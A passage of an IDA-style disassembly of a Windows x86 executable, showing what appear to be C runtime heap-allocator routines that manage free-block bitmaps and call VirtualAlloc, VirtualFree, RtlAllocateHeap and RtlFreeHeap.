		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_410A46


loc_410A7F:				; CODE XREF: sub_4109D6+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_410ABC
		or	[eax+4], edi


loc_410ABC:				; CODE XREF: sub_4109D6+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_410ACC:				; CODE XREF: sub_4109D6+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4109D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410AD1	proc near		; CODE XREF: sub_40DB08+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_410C7F
		test	bl, 1
		jnz	loc_410C78
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_410C78
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_410B48
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_410B48:				; CODE XREF: sub_410AD1+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_410B98
		cmp	ecx, 20h
		jnb	short loc_410B74
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_410B98
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_410B98
; ---------------------------------------------------------------------------


loc_410B74:				; CODE XREF: sub_410AD1+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_410B98
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_410B98:				; CODE XREF: sub_410AD1+7Dj
					; sub_410AD1+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_410C66
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_410BD2
		push	3Fh
		pop	edi


loc_410BD2:				; CODE XREF: sub_410AD1+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_410C54
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_410C2B
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_410C1E
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_410C1E:				; CODE XREF: sub_410AD1+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_410C50
; ---------------------------------------------------------------------------


loc_410C2B:				; CODE XREF: sub_410AD1+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_410C41
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_410C41:				; CODE XREF: sub_410AD1+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_410C50:				; CODE XREF: sub_410AD1+158j
		shr	edx, cl
		or	[eax], edx


loc_410C54:				; CODE XREF: sub_410AD1+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_410C69
; ---------------------------------------------------------------------------


loc_410C66:				; CODE XREF: sub_410AD1+E5j
		mov	edx, [ebp+arg_4]


loc_410C69:				; CODE XREF: sub_410AD1+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_410DBF
; ---------------------------------------------------------------------------


loc_410C78:				; CODE XREF: sub_410AD1+52j
					; sub_410AD1+5Cj
		xor	eax, eax
		jmp	loc_410DC2
; ---------------------------------------------------------------------------


loc_410C7F:				; CODE XREF: sub_410AD1+49j
		jge	loc_410DBF
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_410CAA
		push	3Fh
		pop	esi


loc_410CAA:				; CODE XREF: sub_410AD1+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_410D39
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_410CC3
		push	3Fh
		pop	esi


loc_410CC3:				; CODE XREF: sub_410AD1+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_410D12
		cmp	esi, 20h
		jnb	short loc_410CEE
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_410D0F
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_410D0F
; ---------------------------------------------------------------------------


loc_410CEE:				; CODE XREF: sub_410AD1+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_410D0F
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_410D0F:				; CODE XREF: sub_410AD1+214j
					; sub_410AD1+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_410D12:				; CODE XREF: sub_410AD1+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_410D39
		push	3Fh
		pop	esi


loc_410D39:				; CODE XREF: sub_410AD1+1DDj
					; sub_410AD1+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_410DB6
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_410D8D
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_410D80
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_410D80:				; CODE XREF: sub_410AD1+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_410DB2
; ---------------------------------------------------------------------------


loc_410D8D:				; CODE XREF: sub_410AD1+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_410DA3
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_410DA3:				; CODE XREF: sub_410AD1+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_410DB2:				; CODE XREF: sub_410AD1+2BAj
		shr	edx, cl
		or	[eax], edx


loc_410DB6:				; CODE XREF: sub_410AD1+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_410DBF:				; CODE XREF: sub_410AD1+1A2j
					; sub_410AD1:loc_410C7Fj
		push	1
		pop	eax


loc_410DC2:				; CODE XREF: sub_410AD1+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410AD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_410DC7	proc near		; CODE XREF: sub_410223+41p
					; sub_4110BF:loc_41128Ep
		cmp	dword_41FCA0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_410DDB
		mov	esi, offset off_41FC90
		jmp	short loc_410DF8
; ---------------------------------------------------------------------------


loc_410DDB:				; CODE XREF: sub_410DC7+Bj
		push	2020h
		push	0
		push	dword_483424
		call	dword_418110	; RtlAllocateHeap
		mov	esi, eax
		test	esi, esi
		jz	loc_410F04


loc_410DF8:				; CODE XREF: sub_410DC7+12j
		mov	ebp, dword_418144
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp	; VirtualAlloc
		mov	edi, eax
		test	edi, edi
		jz	loc_410EED
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp	; VirtualAlloc
		test	eax, eax
		jz	loc_410EDF
		mov	eax, offset off_41FC90
		cmp	esi, eax
		jnz	short loc_410E57
		cmp	off_41FC90, 0
		jnz	short loc_410E47
		mov	off_41FC90, eax


loc_410E47:				; CODE XREF: sub_410DC7+79j
		cmp	off_41FC94, 0
		jnz	short loc_410E6C
		mov	off_41FC94, eax
		jmp	short loc_410E6C
; ---------------------------------------------------------------------------


loc_410E57:				; CODE XREF: sub_410DC7+70j
		mov	[esi], eax
		mov	eax, off_41FC94
		mov	[esi+4], eax
		mov	off_41FC94, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_410E6C:				; CODE XREF: sub_410DC7+87j
					; sub_410DC7+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_410E8E:				; CODE XREF: sub_410DC7+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_410E8E
		push	ebx
		push	0
		push	edi
		call	sub_40CC40
		add	esp, 0Ch


loc_410EB7:				; CODE XREF: sub_410DC7+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_410EDB
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_410EB7
; ---------------------------------------------------------------------------


loc_410EDB:				; CODE XREF: sub_410DC7+F7j
		mov	eax, esi
		jmp	short loc_410F06
; ---------------------------------------------------------------------------


loc_410EDF:				; CODE XREF: sub_410DC7+63j
		push	8000h
		push	0
		push	edi
		call	dword_418140	; VirtualFree


loc_410EED:				; CODE XREF: sub_410DC7+4Bj
		cmp	esi, offset off_41FC90
		jz	short loc_410F04
		push	esi
		push	0
		push	dword_483424
		call	dword_418114	; RtlFreeHeap


loc_410F04:				; CODE XREF: sub_410DC7+2Bj
					; sub_410DC7+12Cj
		xor	eax, eax


loc_410F06:				; CODE XREF: sub_410DC7+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_410DC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_410F0B	proc near		; CODE XREF: sub_410F61+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	dword_418140	; VirtualFree
		cmp	off_421CB0, esi
		jnz	short loc_410F30
		mov	eax, [esi+4]
		mov	off_421CB0, eax


loc_410F30:				; CODE XREF: sub_410F0B+1Bj
		cmp	esi, offset off_41FC90
		jz	short loc_410F58
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_483424
		call	dword_418114	; RtlFreeHeap
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410F58:				; CODE XREF: sub_410F0B+2Bj
		or	dword_41FCA0, 0FFFFFFFFh
		pop	esi
		retn
sub_410F0B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F61	proc near		; CODE XREF: sub_41107A+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_41FC94
		push	edi


loc_410F6E:				; CODE XREF: sub_410F61+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41100C
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_410F87:				; CODE XREF: sub_410F61+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_410FC8
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	dword_418140	; VirtualFree
		test	eax, eax
		jz	short loc_410FC8
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_481E1C
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_410FBD
		cmp	eax, edi
		jbe	short loc_410FC0


loc_410FBD:				; CODE XREF: sub_410F61+56j
		mov	[esi+0Ch], edi


loc_410FC0:				; CODE XREF: sub_410F61+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_410FD5


loc_410FC8:				; CODE XREF: sub_410F61+2Cj
					; sub_410F61+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_410F87


loc_410FD5:				; CODE XREF: sub_410F61+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41100C
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41100C
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_410FEC:				; CODE XREF: sub_410F61+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_410FFD
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_410FEC


loc_410FFD:				; CODE XREF: sub_410F61+8Ej
		cmp	edx, 400h
		jnz	short loc_41100C
		push	ecx
		call	sub_410F0B
		pop	ecx


loc_41100C:				; CODE XREF: sub_410F61+11j
					; sub_410F61+7Dj ...
		cmp	esi, off_41FC94
		jz	short loc_41101E
		cmp	[ebp+arg_0], 0
		jg	loc_410F6E


loc_41101E:				; CODE XREF: sub_410F61+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F61	endp


; =============== S U B	R O U T	I N E =======================================



sub_411023	proc near		; CODE XREF: sub_40CD81+3Ap
					; sub_40DB08+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_41FC90
		push	esi
		mov	ecx, edx


loc_41102F:				; CODE XREF: sub_411023+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_411039
		cmp	eax, [ecx+14h]
		jb	short loc_411041


loc_411039:				; CODE XREF: sub_411023+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_411076
		jmp	short loc_41102F
; ---------------------------------------------------------------------------


loc_411041:				; CODE XREF: sub_411023+14j
		test	al, 0Fh
		jnz	short loc_411076
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_411076
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_411076:				; CODE XREF: sub_411023+1Aj
					; sub_411023+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_411023	endp


; =============== S U B	R O U T	I N E =======================================



sub_41107A	proc near		; CODE XREF: sub_40CD81+4Dp
					; sub_40DB08+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_4110BE
		inc	dword_481E1C
		cmp	dword_481E1C, 20h
		jnz	short locret_4110BE
		push	10h
		call	sub_410F61
		pop	ecx

locret_4110BE:				; CODE XREF: sub_41107A+2Bj
					; sub_41107A+3Aj
		retn
sub_41107A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110BF	proc near		; CODE XREF: sub_40CD0D+4Ap
					; sub_40DB08+1ACp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_421CB0
		push	edi


loc_4110CD:				; CODE XREF: sub_4110BF+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_411178
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_411132


loc_4110F8:				; CODE XREF: sub_4110BF+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41111B
		cmp	[edi+4], ebx
		jbe	short loc_41111B
		push	ebx
		push	ecx
		push	eax
		call	sub_4112C7
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41118A
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41111B:				; CODE XREF: sub_4110BF+40j
					; sub_4110BF+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_4110F8
		jmp	short loc_411135
; ---------------------------------------------------------------------------


loc_411132:				; CODE XREF: sub_4110BF+37j
		mov	ebx, [ebp+arg_0]


loc_411135:				; CODE XREF: sub_4110BF+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41117B


loc_411148:				; CODE XREF: sub_4110BF+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_411167
		cmp	[edi+4], ebx
		jbe	short loc_411167
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_4112C7
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41118A
		mov	[edi+4], ebx


loc_411167:				; CODE XREF: sub_4110BF+8Dj
					; sub_4110BF+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_411148
		jmp	short loc_41117B
; ---------------------------------------------------------------------------


loc_411178:				; CODE XREF: sub_4110BF+14j
		mov	ebx, [ebp+arg_0]


loc_41117B:				; CODE XREF: sub_4110BF+87j
					; sub_4110BF+B7j
		mov	esi, [esi]
		cmp	esi, off_421CB0
		jz	short loc_41119A
		jmp	loc_4110CD
; ---------------------------------------------------------------------------


loc_41118A:				; CODE XREF: sub_4110BF+54j
					; sub_4110BF+A3j
		mov	off_421CB0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_4112C2
; ---------------------------------------------------------------------------


loc_41119A:				; CODE XREF: sub_4110BF+C4j
		mov	eax, offset off_41FC90
		mov	edi, eax


loc_4111A1:				; CODE XREF: sub_4110BF+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_4111AD
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_4111B9


loc_4111AD:				; CODE XREF: sub_4110BF+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41128E
		jmp	short loc_4111A1
; ---------------------------------------------------------------------------


loc_4111B9:				; CODE XREF: sub_4110BF+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_4111E8


loc_4111D7:				; CODE XREF: sub_4110BF+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_4111E8
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_4111D7


loc_4111E8:				; CODE XREF: sub_4110BF+116j
					; sub_4110BF+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	dword_418144	; VirtualAlloc
		cmp	eax, esi
		jnz	loc_4112C0
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_40CC40
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41124F
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_411225:				; CODE XREF: sub_4110BF+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_411225


loc_41124F:				; CODE XREF: sub_4110BF+15Ej
		mov	off_421CB0, edi
		lea	eax, [edi+2018h]


loc_41125B:				; CODE XREF: sub_4110BF+1A8j
		cmp	ecx, eax
		jnb	short loc_41126B
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_411269
		add	ecx, 8
		jmp	short loc_41125B
; ---------------------------------------------------------------------------


loc_411269:				; CODE XREF: sub_4110BF+1A3j
		cmp	ecx, eax


loc_41126B:				; CODE XREF: sub_4110BF+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_4112C2
; ---------------------------------------------------------------------------


loc_41128E:				; CODE XREF: sub_4110BF+F2j
		call	sub_410DC7
		test	eax, eax
		jz	short loc_4112C0
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_421CB0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_4112C2
; ---------------------------------------------------------------------------


loc_4112C0:				; CODE XREF: sub_4110BF+143j
					; sub_4110BF+1D6j
		xor	eax, eax


loc_4112C2:				; CODE XREF: sub_4110BF+D6j
					; sub_4110BF+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4110BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4112C7	proc near		; CODE XREF: sub_4110BF+4Ap
					; sub_4110BF+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41130C
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_4112FB
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_411304
; ---------------------------------------------------------------------------


loc_4112FB:				; CODE XREF: sub_4112C7+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_411304:				; CODE XREF: sub_4112C7+32j
		lea	eax, [edi+8]
		jmp	loc_4113DA
; ---------------------------------------------------------------------------


loc_41130C:				; CODE XREF: sub_4112C7+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_411315
		mov	eax, esi


loc_411315:				; CODE XREF: sub_4112C7+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41135F


loc_41131C:				; CODE XREF: sub_4112C7+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_411352
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_411328:				; CODE XREF: sub_4112C7+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_411331
		inc	ebx
		inc	esi
		jmp	short loc_411328
; ---------------------------------------------------------------------------


loc_411331:				; CODE XREF: sub_4112C7+64j
		cmp	esi, edx
		jnb	short loc_411383
		cmp	eax, [ebp+var_4]
		jnz	short loc_41133F
		mov	[ecx+4], esi
		jmp	short loc_41134B
; ---------------------------------------------------------------------------


loc_41133F:				; CODE XREF: sub_4112C7+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_4113E4


loc_41134B:				; CODE XREF: sub_4112C7+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_411357
; ---------------------------------------------------------------------------


loc_411352:				; CODE XREF: sub_4112C7+59j
		movzx	esi, bl
		add	eax, esi


loc_411357:				; CODE XREF: sub_4112C7+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41131C


loc_41135F:				; CODE XREF: sub_4112C7+53j
		lea	esi, [ecx+8]


loc_411362:				; CODE XREF: sub_4112C7+EBj
					; sub_4112C7+F2j
		cmp	esi, edi
		jnb	short loc_4113E4
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_4113E4
		mov	al, [esi]
		test	al, al
		jnz	short loc_4113B4
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41137A:				; CODE XREF: sub_4112C7+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_4113A4
		inc	ebx
		inc	eax
		jmp	short loc_41137A
; ---------------------------------------------------------------------------


loc_411383:				; CODE XREF: sub_4112C7+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_411394
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41139D
; ---------------------------------------------------------------------------


loc_411394:				; CODE XREF: sub_4112C7+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


